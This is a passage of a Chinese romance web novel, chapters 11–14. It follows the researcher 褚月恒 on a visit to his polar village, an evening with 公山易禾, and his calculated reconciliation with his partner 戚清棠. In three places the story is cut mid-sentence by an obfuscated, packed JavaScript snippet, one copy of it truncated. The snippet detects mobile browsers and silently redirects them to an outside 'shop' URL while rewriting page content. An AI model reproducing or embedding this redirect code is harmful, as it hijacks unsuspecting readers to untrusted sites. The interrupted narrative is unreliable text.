他父亲是村里最强壮的猎人,拥有一整套齿鲸牙。他父亲还是知名的热心大哥,经常到处帮助村民们,村民们总爱送自己做的鱼油饼来感谢他父亲。 他父亲不会做饭,连最简单的烤面包抹黄油都不会,靠村民送一些,自己买些,凑合了一辈子。 今天是他父亲出海的日子,晚上八点半,房子里空无一人。 褚月恒已经几年没有回来过这里了,如今为了讨好公山易禾,他又回到了这里,他不知道这值不值得。他很少去衡量自己的付出是否值得,每当他确立一个目标,总会做好燃尽最后一丝能量的觉悟。可这一次是个例外,他难以自控的陷入迷茫和犹豫之中。 曾经戚清棠求他回来看看亲戚时,他把戚清棠气病了,也没妥协。现在站在这里,他突然就搞不明白自己当初到底在坚持些什么? 为了这些可有可无的事情,让戚清棠哭,让他生病,这真的值得吗? 就为了那些不值一提的回忆,为了某些可笑的坚持,不愿意开一小时的车来这个小村子逛一圈,这真的很可笑。 033飘在半空中,它想告诉褚月恒:尊重自己的想法没错,不想回来就不回来,他没义务服从任何人。 但它不能直白的说出来,那太像是说教了,褚月恒不会喜欢听的。 于是它打算拐弯抹角的表达一下:“你多久没回来了?” “很多年,记不清了。”褚月恒面无表情的打开木门,径直走进他家仓库开始翻东西。 “骗人,你不会记不清任何事。” 仓库经年累月的尘土扑了褚月恒一脸,他工作完没来得及换下的白色工作服被蹭的灰一块黑一块:“三年。” “不想回来就不回,鲸鱼牙齿也可以去景区买的。”033绕着褚月恒转了一圈。 “景区的都是假的,猎杀齿鲸是犯法的。”褚月恒打量着刚被他翻出来的锋利的鱼牙,“这些真牙,都是二十年前齿鲸还没濒临灭绝时得到的。” “这样啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271791|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,三年了,怎么今天突然就愿意回来了?” 033这个问题褚月恒不知道该怎么回答,他想说他回来是为了拿东西,但他知道这不是033想要的答案。当年戚清棠强迫他来时,他都可以拒绝过来,而现在,没任何人强迫他。 “不知道,想来就来了。”公山易禾什么都不缺,褚月恒不知道拿什么才能讨好他那种天之骄子,也许这些在泊岳买不到的东西,会起作用吧。 过了一会儿,褚月恒犹豫了一下,又说:“我很后悔,后悔当初为这件小事,让清棠难过。” 如果戚清棠看到褚月恒现在的表情,大概会欣慰,褚月恒终于流露出了几分像人类的情绪。在戚清棠的观念里,他大概会觉得褚月恒终于学会了“爱”。 可033不会欣慰,因为后悔和自责的滋味不好受,长年体验负面情绪会影响褚月恒大脑的灵敏度:“缘聚缘散,冥冥中自由定数。你和家乡的缘分是现在,当初不是回来的时候,你明白么?” 033搬出了天命和缘分这种玄学的东西,就相当于搬出了神女,褚月恒二话不说就相信了。某些人说要放弃冰海、放弃神女,但事实上潜意识里还在默默的相信着。 把搜刮到的东西塞进公文包里,褚月恒推开木门,隔壁邻居正好出来散步,看到褚月恒后愣了一下,他张了张嘴,不知道该不该和褚月恒打招呼。 这几年北宁区的旅游业爆发式发展,旅游局和他们谈了合作,在冰山禁区之外仿照着禁区内的北宁村建立了一个村子,他们北宁族人在打渔不忙的时候,都会去那个旅游村工作。他们走出了禁区,和世界各地的各色人种接触后,眼界宽广了很多,再见到褚月恒,就不会感觉褚月恒长得像个怪物了。 虽然……还是会觉得一个冰生冰长的北宁人长成这个样子很奇怪。 以前他们见到褚月恒都会绕道走,不光因为褚月恒长得奇怪,也因为褚月恒的性子孤僻,看人的眼神令人感到恐惧。 可如今,褚月恒穿一身白大褂,看着斯斯文文的,似乎没那么吓人了。 那么,是不是该打个招呼呢? 还没等那村民纠结完,褚月恒已经离开了。 “唉。”村民遗憾的叹了口气,他还挺想和褚月恒聊聊天呢,听说褚月恒在极地冰海研究所工作,他们村里还没出过科学家呢,他对褚月恒好奇得很。全然忘了儿时,他们是怎么嘲笑褚月恒脑子不正常的。 “嘿!林哥,你唉声叹气什么呢!” 12. 动心 “唉?是小澄啊。” 褚月澄踮起脚往远处看:“刚才是褚月恒回来了么?” “对,你表哥回来拿了趟东西。”邻居干笑两声,“你怎么也从定北城回来了,不都在那儿安家了?” “定北城物价太高,住不起啊。”褚月澄笑得缺心少肺,“就我表哥一个人回来了,我嫂子没回?” “没有。”邻居见过褚月澄嘴里的那位嫂子,一个男的长得艳丽的跟鬼一样,把他吓了一跳。那个漂亮男人给了褚月澄好多钱,都够褚月澄在定北城买房子了。 褚月恒走到村里的大广场时,看到一个打扮时髦的人正拿着三脚架和相机对着广场上的冰雕拍来拍去。 “公山教授,您来旅游的?” 公山易禾被褚月恒吓了一跳,随即笑道:“想进来玩还挺不容易的,我和你们族长商量了好久才让我进来。作为交换条件,我答应他给极地做旅游宣传,正在拍宣传照。” 褚月恒提留着一袋子北宁村特产,面无表情的说:“您想进来,找我就行。” 公山易禾想起自己弟弟说,褚月恒有出息后,对贫穷的亲戚十分嫌弃,见都不想见,更不愿意回到养育他长大的家乡。 曾经褚月恒的爸爸来他们的小木屋送极地鳕鱼,褚月恒把鱼收下了,但都没留他爸爸吃晚饭,直接就把人赶出去了。 戚清棠认为褚月恒的爸爸这么大年纪,一个人住在村子里,实在是太可怜了,过节的时候想买点东西去村里看看他爸爸,但怎么劝,褚月恒都不愿意带他回被宁村看看,戚清棠无奈之下,只能自己回去了。 所以,公山易禾自然也不会找褚月恒带他来北宁村了。 实话是不能讲的,公山易禾只能找个理由敷衍过去了,“你从小在这儿长大,这些景色都是你司空见惯的,让你陪着我,你岂不是太无聊了。” “没关系,您想参观些什么?我带您去。”褚月恒帮公山易禾收三脚架,然后耐心的看向公山易禾。 极地的夜并没有那么黑,冰层的反光和冰白的雪地让夜色变成瑰丽的深蓝,公山易禾喜欢深蓝色,更喜欢深蓝色天光下,褚月恒专注的注视和耐心地询问。 公山易禾的心脏砰砰直跳,第无数次理解了自己那个痴心错付、疯狂倒贴的弟弟。 可为什么褚月恒和他弟弟口中的那个人判若两人呢? 公山易禾沉默了太久,褚月恒疑惑的问:“您不知道该去哪儿玩吗?” 公山易禾连忙说:“我想去冰海边看看。虽然咱们的小木屋也在冰海边,但那周围都是科考站,没有那种自然、原始的风光。我想看看原始的冰海,还有北宁族人的捕鱼船,顺便拍点照片,写到旅游杂志上。” 褚月恒一边带着公山易禾往前走,一边说:“给旅游杂志投稿挺麻烦的吧,要不我来写,不要浪费您的时间了。” “小事,我有一家旅游杂志,我拍了照片,让他们自己去写就行。”公山易禾轻描淡写的说。 褚月恒无法理解为什么知名生物学家会拥有旅游杂志,不过随后他就想到,网上说公山易禾还是联邦政府的首席科学家、海豚保护协会会长、生化科技公司首席技术官、羽毛球二级运动员、古典乐鉴赏家、泊岳大学客座教授…… 这一串头衔里,加一个旅游杂志老板好像也没什么。 他们走到冰海边,非常不巧的遇到了褚冰河,也就是褚月恒的亲爹。 褚冰河开着那辆他用了二十年的老旧破冰船,正在整理着燃油、渔网、鱼饵等一大堆乱七八糟的东西。昏黄的燃油灯挂在船头,吱呀吱呀的晃悠着。 褚冰河抬起头看到褚月恒,颇为危险的眯起眼睛,刚想说些什么,就注意到了跟在褚月恒身后的公山易禾。 危险冰冷的脸色瞬间褪去,忠厚朴实的微笑绽放:“臭小子,带朋友来也不和我说一声,我什么也没准备,拿什么招待人家!” 公山易禾现场观看了一出‘川剧变脸’,惊得说话都慢半拍:“叔叔您太客气了,我是自己来玩的,刚好和月恒撞见罢了,您不用准备什么。您这是要出海了?大晚上的,不安全吧?” “嗨,我们这苦寒之地,能捕鱼的季节只有夏天七八月份,不得抓紧时间吗?危险不危险是小事,能不能抓到大鱼才是大事。” 公山易禾上前帮着褚冰河整理渔网:“还是安全更重要,您大晚上出海,可得当心。我看您没带救生用品啊,我正好带了,把我这个给您吧。” “不用不用!哪儿能要您的东西!您一看就是城里的贵人,这东西太贵了,我命贱,用不得!” 听了这话,公山易禾更得把东西塞给褚冰河了,不然不就是承认人家命贱了吗? 于是俩人就在冰海边拉扯了起来,热闹的把周围的村民都吸引过来围观。 有些个轻度夜盲的村民大嗓门的说:“是褚月恒那个阔气的男媳妇儿又来送东西了?冰河可真是好福气哦!这儿媳妇除了不能生孩子,哪儿都好!比褚月恒那个没良心的孝顺多了。” 公山易禾听了这话,拉扯的手顿了一下,随后他敏捷的把救生包扔到船上:“您就拿着吧,您用完再还给我就是了。” “不行不行!” 褚冰河还想把包拿出来,但公山易禾飞快的跑到一边,让褚冰河够不着他。 此时那个夜盲的村民也看清了:“唉?这不是那个男媳妇儿?” 北宁村村长狠狠地拍了一下这人的脑袋:“这位是来我们这儿做旅游宣传的公山教授,人家在泊岳拥有一家著名的旅游杂志社,你可别把人家得罪了!” 褚冰河叹了口气,大声对躲得远远的褚月恒说:“月恒!你照顾好公山教授,别给我丢脸!今晚就让教授去咱家睡吧,客房我一直都收拾着呢,还安了地暖,舒服得很!” 公山易禾看向褚月恒,发现褚月恒站在角落里,看不清表情。那边村民们还在叽叽喳喳的讨论着褚家的家事,没人说一句褚月恒好话。 这场景,让公山易禾联想到他儿时念的那个所谓的‘贵族学校’,学校里某些人就是这样霸凌别人的。 正好村长上前来和公山易禾搭话,公山易禾皱着眉头说:“大晚上的,冰海不安全,你让那些人都散了吧。” 他常年居于上位的气势让村长有点惧怕:“好,我马上清场。” 终于,叽叽喳喳的声音消失了,公山易禾一回头,发现褚月恒不知何时悄无声息的回到了他身边。 “你还想去哪儿玩?”褚月恒认真的盯着公山易禾,浓密的睫毛一闪一闪,好像刚才什么都没发生。 原本心情有点烦躁的公山易禾,神奇的平静了下来,却难免对褚月恒产生了几分怜爱。有点像心爱的美人遭人欺负时,会产生的那种怜爱之情。 “我玩的差不多了,我们回去休息吧。”公山易禾温柔的笑了笑,“我买了做豆浆火锅的食材,我们回去煮火锅。” 沿着夜色一路驱车返程,今夜的月光分外明晰。 景区的木屋建在冰海旁,黑色的海水翻涌,凌冽的夜风吹过木屋旁的木制夹板,昂贵繁复的路灯散发着幽光,这里是泊岳权贵们来旅游时住的地方,不知道公山易禾会不会喜欢。 戚清棠就很喜欢这里,褚月恒陪戚清棠在这里小住过一阵子,那七天对褚月恒来说无聊透顶、难熬至极,但戚清棠很开心。 褚月恒也弄不懂自己在难受些什么,那七天,他们晚上缠绵,白天在景区乱逛,也没做什么褚月恒不喜欢的事情。 往事在脑海中翻腾,有关戚清棠的回忆似乎都被一层独特的滤镜笼罩了,它们变得分外美好,褚月恒只有非常认真去回忆,才能隐约记起自己过去那六个月自己其实经常感受到一种难熬的痛苦。 但应该不会比现在更难熬。 一个小时的路程在胡思乱想里度过,褚月恒都不记得自己是怎么开回科考站的,他这个随时走神的状态很危险,褚月恒只能默默希望这个状态不要持续到明天下海。 公山易禾一反常态的沉默了一路,他在脑子里复盘自己弟弟跟自己说过的褚月恒的事情,总觉得他弟弟的认知和现实之间产生了严重的错位。 戚清棠非常亲近他这个哥哥,几乎什么都和他讲,他对弟弟也一向深信不疑。 如今看来,他这么做还是太武断。清棠肯定不会骗他,但清棠的认知能力存在很大问题,他不应该讲清棠说的话当作事实。 回到小木屋,公山易禾麻利的准备好了火锅,选好了电影。 褚月恒一推开厨房门就闻到一股浓烈的火锅香气,不是那种辣味的火锅,而是一种清淡的豆子味道,应该是泊岳特产的豆浆火锅。 褚月恒无措的拿着给公山易禾准备的礼物,不知道该找个什么理由送给他。 “一起来吃点吧,我买了很多食材。”公山易禾把火锅端到茶几上。 这茶几被戚清棠铺上了鲜红的桌布,沙发也是戚清棠住进来后买的,由于平时只有他和褚月恒两个人在,他买的沙发不大,追求一种温馨的感觉。所以如果褚月恒现在坐过去,就要和公山易禾肩并肩了。 “我去换个衣服。”褚月恒抿了抿嘴,有些不自在,但为了进行他的实验,他还是选择隐忍自己的尴尬去迎合公山易禾,“您还想吃点什么,我再去准备些。” “不用,东西够吃,你赶紧过来就好。”公山易禾似乎对电影情节很感兴趣,说这句话时眼神一直在电视上,没再看褚月恒,这让褚月恒感觉放松了一点。 褚月恒把鱼油饼简单热了一下,端着盘子小心翼翼的走到沙发边,犹豫了一下,然后悄悄坐在靠着沙发最边上的角落里:“这是正宗的北宁禁区特产,用鲸鱼油做的饼。” 介绍完后,褚月恒就眼巴巴的观察公山易禾的反应。 公山易禾立刻品尝了一个,这味道一般人吃不惯,但的确别有一番风味,和这极地的冰雪非常相配:“嗯!很特别的味道。” 公山易禾尝了一个饼后,麻利的给褚月恒调了料汁:“给你,想吃什么自己涮。”说完后,他又看电影去了。 褚月恒犹豫的看着这一桌丰富的食材,说实话,他哪一个都不想吃。他的味觉非常迟钝,吃什么都一个味,但他对食物进入嘴巴的触感又很敏感,他几乎只能接受干巴面包和饼的触感,过于黏腻的东西,他都不喜欢。 戚清棠给他做过一次豆浆火锅,那次他只是看着戚清棠吃,自己则选择啃面包。他记得戚清棠很难过,难过的眼睛都红了。现在想来,他当初不该为这么点小事惹戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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回应褚月恒的是公山易禾温柔的低笑,褚月恒看到公山易禾清浅的棕色眼睛带着一丝喜爱,这似乎是对他这个人的喜爱,这发现令褚月恒惊讶,他还没送礼物,公山易禾就对他有一点点好的印象了么?这……怎么会呢? “我给你换个碗吧。”公山易禾退回自己的位置,顺手拿走了褚月恒装着油条的碗,又递给褚月恒一个新的。 褚月恒捧着新碗默默啃着自己的鱼油饼,放弃了勉强自己吃豆浆火锅。 “月恒,你们北宁族平时都吃些什么?除了这个饼,还有什么特色菜?”公山易禾很喜欢这个电影的,但现在他发现自己更想和褚月恒聊天,至于聊些什么……他就想随便问问。 “晒干的鲸鱼皮,和黑麦面包。”褚月恒回想了一下表弟家都吃些什么,他们好像还会做鱼肉和蓝莓派,“嗯,还有鱼肉和蓝莓派。” “我在纪录片上看到过,你们吃鲑鱼和鳕鱼,因为极地寒冷,所以鱼肉尤其凝练鲜美。我家购买过从极地运到内陆的鱼,可运过来的到底不如这里的新鲜,改天咱们去附近景区尝尝极地的鱼肉火锅吧!” 褚月恒对公山易禾有求必应:“好。” 气氛又沉默了,褚月恒对这种沉默非常适应,公山易禾看褚月恒又开始啃鱼油饼了,他突然起身,去厨房拿了个包装颇为精美的盒子过来。 “我今天去了趟超市,刚好买了蓝莓派。我还纳闷这超市的甜品怎么都是蓝莓的,忘了蓝莓是你们这儿的特产。” 公山易禾把蓝莓派摆在褚月恒面前:“尝尝正宗么?” 褚月恒都没吃过这个,哪里知道正宗不正宗,他只能敷衍的点头:“可以。” 这时,电影悠扬的片尾曲响起,褚月恒抬头看了眼,发现那是戚清棠最喜欢的片子:“这电影很老了吧,您才看?” “你知道这个?”公山易禾调笑道,“月恒,你看上去冷冰冰的,居然还看爱情片呢?” 褚月恒不太好意思的低下头:“不算看过。” 情人节那天,他在戚清棠的要求下陪戚清棠一起看电影,可他没撑过十分钟就走神了,这期间戚清棠似乎还和他讲过话,他没听,也没回应,自顾自的翻手机看论文去了。 在讨好公山易禾的过程里,褚月恒一步步明白到自己曾经对戚清棠的冷待,他意识到他走到今天,纯属活该。 “不算看过到底是看没看过?”公山易禾纳闷了。 “看过一个开头,有小偷爬窗户闯进女主的卧室。”褚月恒一本正经的回答。 公山易禾被逗笑了:“那是男主,不是小偷。” “月恒,我从没来过极地,想在附近转转,等咱们工作告一段落了,你有时间带我四处玩玩么?” 公山易禾浅色的眸子望过来,诚挚而耐心,就像老电影里不矜不伐的绅士。 褚月恒震惊的微微瞪大眼睛,不敢相信自己居然又被邀请了,还是邀请着一起去旅游,这可是个了不得的邀请。比一起吃饭、一起买个东西要深入的多的社交邀请! 什么时候讨好一个人变得这么容易了?他明明还什么都没做。准备的礼物没送出去,准备使用的手段都还没计划好! “好,我对周围还挺熟悉的。”褚月恒试探着答应了这个邀约。 公山易禾笑了,那笑容真诚漂亮,似乎真的在为褚月恒的答应而高兴。褚月恒注意到公山易禾的眼睛长得有点像戚清棠,他们都生了一双带着古典风情的凤眸,戚清棠的眼睛就像一只清纯的小狐狸,而公山易禾的狐狸眼并不像戚清棠那样抢眼,他的眼睛弧度相对凌厉些,只有在露出温柔的笑意时眼尾那丝魅气才会显现。 13. 同事的态度 打开冰海生态模拟器,一只死掉的大鳍后肛鱼飘在水里,缸里的食腐生物围着它的尸体蠢蠢欲动。 昨夜吃完火锅后他们就各回各屋睡觉了,睡前公山易禾还特意来和褚月恒道了晚安,这个习惯和戚清棠一模一样,褚月恒猜测这是他们泊岳人共有的习惯。 今天一早他们前往定北城实验室去观察褚月恒抓到的大鳍后肛鱼,这鱼通过珍贵鱼类救护车一路护送到定北城实验室中,养在实验室模拟的深海环境中。可惜,深海鱼没那么容易存活。 褚月恒露出一个略感歉意的表情,“抱歉,浪费您的时间了。” 这个人性化的表情展露出一丝褚月恒真实的个性,而公山易禾敏锐的捕捉到了,他意识到褚月恒不是一个傲气的人,他只是一个拒人于千里之外的人。是人们面对他时,心中产生的若有若无的自卑感,让人们感觉他是个目空一切的人。 比如极地冰海研究所的同事们,他们都不敢靠近褚月恒,宁愿呆在公山易禾这个泊岳来的陌生领导身边。 同事们不知是故意还是下意识,都跳过褚月恒和公山易禾沟通,公山易禾只能礼貌的应对,他们热火朝天的讨论该如何更好的保护打捞上来的深海鱼的生命,理所应当的把褚月恒排挤在了谈话之外。 谈话中间,公山易禾悄悄看了褚月恒好几眼。 褚月恒的思绪是停滞的,没注意公山易禾,也没注意同事们。同事们也是早就习惯了他这个状态,沟通时才跳过他的。 褚月恒从意识到自己离不开戚清棠开始,脑海里的某根线似乎就崩开了,思绪近乎溃裂。尽管他依靠获取公山易禾的好感来分散了部分注意力,可在某些不被填满的时间缝隙里,他还是会突然陷入情绪的漩涡,到底是恐惧还是绝望,他讲不清楚,那种无尽的迷茫和无望让他的思维变得很迟钝。 他盯着死去的大鳍后肛鱼,愣了半秒后突然想起来自己曾经写过一篇过于该如何在实验室模拟海底热泉条件的论文,并设计过一个切实可行的计划。 又愣神了一会儿,褚月恒才露出公式化的微笑,礼貌的上前几步,加入了他们的谈话。 实验室的光是冷白色的,冰海生态模拟器中的光线泛着冷调的紫色,在这样的光线下,褚月恒的皮肤惨白到有些吓人,冰质的笑容和没什么感情的眼睛,让他看上去有点恐怖。 可公山易禾却觉得,褚月恒有点性感。 实验室里充斥着化学药剂的味道,造浪机器嗡嗡作响。 “您觉得这样可以么?”褚月恒的眼睛像剔透的黑色琉璃,此刻正认真的望过来。 公山易禾把目光从褚月恒漂亮的下颚线上撕开:“你发一份实验大纲过来,我仔细看看。” 随后他独自回办公室研究实验大纲,实验室里只剩下了褚月恒和其他三位研究所的同事,他们大眼瞪小眼呆了一会儿,褚月恒抬脚走出了实验室,剩下的三个人同时松了口气。 过了一会儿,实验室的门被推开,一个挺年轻的小男孩儿纳闷儿道:“月恒怎么走了?咱们事情还没干完呢。” 刚才松了口气的中年男人无奈道:“怎么,你还想他回来给咱们挑刺吗?” 和褚月恒一起工作时,褚月恒很少和他们交流,每次使用他那尊贵的嘴巴,不是为了发号施令就是为了挑刺,有褚月恒在,他们的神经全天都是绷着的,特别累。他们私底下都称呼褚月恒为‘那个自我为中心的自大狂’。 “毕竟都是同事,再说,遇到难度大、时间紧的任务时,有他在总是安心些。这个任务咱们是第一次做,难度到底大不大我也不知道,但如果他在的话应该已经开始发号施令安排每个人该干嘛了,只有我们的话,我们光制定计划和分配任务就得用两天时间。” 另一个人深以为然的点点头:“褚月恒平时烦人了些,但遇到难以攻克的技术难关时,褚月恒冒出来说的那句‘我来解决’,对我来说就是天籁,大冰块瞬间变小甜心。” 小甜心和褚月恒?这俩是一个东西? 同事们都表示受不了。 公山易禾和这群人隔着一个玻璃门,把这些对话听得清清楚楚。 他记得戚清棠说过,褚月恒对同事非常刻薄,在单位的人际关系恶劣,戚清棠还说为了让褚月恒在单位不被针对,他特意去给褚月恒的同事们送过点心。 但事实似乎不是这样。 这群人虽然嘴巴上在抱怨褚月恒,但没人真的打算追究褚月恒莫名其妙旷工的事儿。而且这些话虽然不中听,但也还算客观。这么看来,大家最多是嘴巴比较毒,但对褚月恒并没什么大的意见。 如果褚月恒做人真的像戚清棠说的那样失败的话,褚月恒上班时间莫名其妙转身就走的行为就不会仅仅只得到几句抱怨了。 褚月恒不知道自己的同事是这样看待他的,溜达出实验室时,他也没想别的,只是觉得这里离定北医院太近了,他想去看看。 站在戚清棠的病床前,褚月恒罕见的不清楚自己下一步该干什么,他的大脑中仿佛藏着一个黑洞,不停地吞噬着一切,他做什么都无法缓解这种感受。 也许这种感受并不单单是由戚清棠的离开带来的。 终其一生,他都在逃离,他追求的似乎只是逃离这个概念,而不是要逃去哪里。 被父亲锁在阁楼里时,他会透过阁楼里的小窗户遥望冰海,幻想着海底的世界会有多么迷人。 后来他逃到冰山里去,企图寻找母亲,却找到了冰海神女的拥抱。 再后来,他逃到定北城,企图学习更多的知识来了解冰海。《极地冰海漫游指南》里讲过,知识是通向真理的唯一路径,他对此深信不疑。 他在定北城呆了七年,念完高中和大学。终于在大学毕业时找到了实现梦想的机会,他可以来到极地冰海边工作,一个人守在冰海身边,用所有智慧去研究冰海。可他发现离冰海再近,也无法缓解他大脑中的贪婪与渴望。 这种难以缓解的渴望变成了一种心魔,夜夜折磨着他。 戚清棠的出现,缓解了这种难以化解的情感,戚清棠是他的安慰剂,安慰剂要弃他而去时,他出现了戒断反应,但安慰剂重新回到他身边后,安慰剂也仅仅是个安慰剂。 戚清棠的呼吸均匀悠长,似乎睡得很熟。褚月恒小心翼翼的摸了摸他冰凉的手,然后把他的手握进自己的掌心,这个动作令他回忆起他们相拥而眠的每个夜晚,一丝浅浅的愉悦抚慰了他焦灼的内心,可这一丝浅显的快感过后,随之而来的是令人恐惧的空洞感。 褚月恒的手抖了一下,他不知是故意还是不小心,砸碎了床头的花瓶。 戚清棠迷蒙的睁开眼,褚月恒耐心地等待戚清棠恢复神志。 “你怎么来了?今天不是要工作?” “我想你,来看看你。”褚月恒微微低头,认真的看着戚清棠,他知道自己这个表情会令戚清棠无法抵抗,他其实什么都知道。该怎么勾引人类的心智,他明白的。 他缓缓靠近病床上的戚清棠,让戚清棠看清他漂亮的鼻尖和长睫毛,他身上还带着凌冽的风雪味,“你不在身边,我晚上睡不好。” 戚清棠短暂的恍惚了一下,随后露出悲伤的表情:“你要是早些变成这样就好了。一开始明明是我求着你,你才勉强同意和我一起睡的,直到我离开的前一晚,你还坚持睡在边上,恨不得离我远远的,仿佛我是什么脏东西!只有在做那种事的时候,你才愿意屈尊降贵的主动来靠近我!” “对不起,直到你离开,我才意识到你对我有多重要。”褚月恒垂下眼睛,恰到好处的流露出几分黯然和愧疚,他伸手轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271793|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯着戚清棠的病号服袖子,“我以后不会再这样了,我会改的。” 戚清棠深吸了一口气,虽然他已经决定了再给褚月恒一次机会,可每当想起褚月恒曾经过分的行为,他还是会很生气。 就在他打算再说些指责的话时,就看见褚月恒那双剔透的黑眸看过来,看得他呼吸一窒。 “我知道我很过分,我是以自我为中心的怪物,我配不上你。我不知道是什么让你选择了来到我身边,我也没任何准备,”褚月恒调整着角度,微微侧头,把自己最美的角度展现给戚清棠,并背着在路上构思好的台词,“我过去的二十来年生命里,从未准备迎接过命运的眷顾,所以你来后,我不知道要珍惜,但我现在学会了。” 戚清棠果然被褚月恒说的泪流满面,眼神带上了几分怜爱。褚月恒喜欢戚清棠望向他时那双充满爱意的眼睛,戚清棠的爱比任何人的都便宜,只要顺着他的心意讲几句好听话,就可以得到他全心全意的爱。 可惜,这份爱不止是褚月恒一个人能轻易骗到,其他人也可以,连褚月澄那种蠢货也可以靠卖惨骗到戚清棠真心真意的怜惜,这让戚清棠本就便宜的爱意显得更廉价了。 可褚月恒还是想要得到戚清棠的爱,因为这份爱虽然廉价,但真诚。 最重要的是,虽然人人都能骗到,可他骗到的是最多的,他甚至都不需要去努力骗取,他们初遇时,他什么都没做,戚清棠的爱就主动扑向他了。这份区别对待,褚月恒很喜欢。 “我不求你现在就原谅我。”褚月恒浅浅叹了口气,伸手帮戚清棠擦眼泪,戚清棠不自在的躲开了。 戚清棠不禁想起,曾经多少个夜晚他偷偷哭泣,褚月恒装作没看到,不闻不问。 “你离开那天,这个刚好送到了。”褚月恒从兜里掏出一颗珍贵的蓝宝石,那瑰丽的深蓝美的动人心魄。 戚清棠带着眼泪嗤笑了一下:“你觉得我是那种为了钱和你在一起的小明星吗?你对我没有丝毫尊重,我实在闹得厉害了,你就买个珠宝给我安抚一下,连句道歉都没有。每次都能用钱把我哄好,你很得意吧?” 戚清棠艰难地从床上坐起来,把蓝宝石重重扔在地上:“我挥挥手就能给你堂弟在定北城买房,你不会真的以为我缺钱吧?轻易被你的珠宝哄好,那是因为我不想和你吵架。不管你对我有多无情,只要你还愿意为我花心思挑礼物,我就当你还是在乎我的。 我只是……在自欺欺人罢了。” 褚月恒垂着眼睛,眼底一片清冷,他冷静的任由戚清棠把珠宝扔到地上,才说:“我以为送这个会让你开心,这宝石这么漂亮,怎么看都比我讨人喜欢多了。” 褚月恒认真的看向戚清棠,目光沉静,他知道戚清棠对他这个眼神难以抵抗,以前很多次吵架,他都只需要看着戚清棠,戚清棠自己就会投降:“我喜欢你,想让你开心,所以送给你漂亮的东西。对不起,我没能明白你真正需要什么。我是个笨拙的人……” 戚清棠惊讶的抬起头,在他心里,褚月恒是个倨傲的高岭之花,他没想到,褚月恒会说自己笨拙。 褚月恒微微低头,酝酿了一下表情,让自己看上去有点可怜又不会太过窝囊:“不像你,总知道该如何抚慰人心,你就像我人生的柔化剂,可我不知道该怎么报答你。你可不可以……耐心一点,告诉我你需要什么,我会给你的,我会努力的。” 如果戚清棠足够聪明的话,就会知道褚月恒说的全是谎话,过去六个月,戚清棠要求褚月恒陪他看电影,褚月恒不配合,宁愿去看论文。戚清棠要求褚月恒不回家吃晚饭要报备,褚月恒全当是耳旁风。戚清棠想和褚月恒多说几句话,褚月恒爱答不理的…… 这些事发生过太多了,以至于褚月恒在撒谎时都感到心虚,但他知道戚清棠会上钩的。 14. 殷勤 果然,戚清棠的那点小脾气很快就过去了。 褚月恒投降般看向戚清棠,那目光令戚清棠心脏震颤,一想到自己疯狂迷恋了六个月却求而不得的高岭之花终于心甘情愿的对他认输,他就难以克制自己的情感。 但他没意识到他自以为伟大的情感,只是虚荣心和获取巨大资源的满足感结合而成的情绪。 是赢得冰冷高傲的美人真心的虚荣心,和获得一个深情、美丽、强大的伴侣所带来的巨大资源的满足感。 戚清棠不明白,但褚月恒确十分清楚。 在人际关系上面,大家都知道的事情他懵懵懂懂,一般人不会追究的问题他却一清二楚。他知道只要他舍得付出足够诱人的利益,就一定能得到想要的,包括爱人也是一样。 戚清棠浅浅呼了一口气:“我想吃定北城最南边的那家蛋糕店的芝士。” 褚月恒惊喜的浅笑了一下:“我马上去买。” 戚清棠别扭的转过头:“谁要你给我买,你最好少来我面前给我添堵。” “我不会再给你添堵。”褚月恒认真的说,这句话不是剧本里的,这是他真诚的许诺。戚清棠的抛弃给他造成的影响实在太大,他无法承受第二次,所以他以后一定会让戚清棠顺心顺意。 戚清棠却冷笑道:“你的个性就是这样,人总不能期待一个人为另一个人改变,期待了总会失望的。” 这些天,戚清棠一直在思考这个问题。他哥哥公山易禾说他是受到父母失败的婚姻的影响,才会陷入一段不舒服的感情里。 他觉得哥哥说的有道理,他还记得小时候,父亲在和母亲吵架时说,他为了母亲把自己变成了另一个人,母亲说:“人是不会为了另一个人改变的,他终究还会回到自己的老路上。” 和褚月恒分手后,那句话就一直在戚清棠脑子里回荡。 这六个月,他受尽委屈,却不愿意放弃,不就是想让褚月恒为他改变吗? 戚清棠看向褚月恒,他注意到褚月恒的眼眶微红,而且肉眼可见的瘦了不少,比他们吵架前憔悴了一些。 谁说人是不可以为另一个人改变的?不近人情的褚月恒不就为他走下了神坛? 戚清棠突然感到巨大的安慰,高岭之花为他疯狂,不就证明母亲说的是错的? 褚月恒仔细观察着戚清棠的表情,并用真诚的语气说:“我不想让你失望,别担心,我会努力的。” 戚清棠突然笑了一下:“你总是很努力的工作,我见识过你努力的样子。” 褚月恒立刻接话:“现在这些努力,全部都是为你。” 戚清棠沉默了,褚月恒试探着伸出手握住戚清棠的手,戚清棠没躲开。 褚月恒微微勾了一下唇角,眼睛却没在笑。他知道自己开出了怎样的筹码,与没有033的时间线有所不同,这一次,他清楚的意识到自己准备为这段感情牺牲什么。 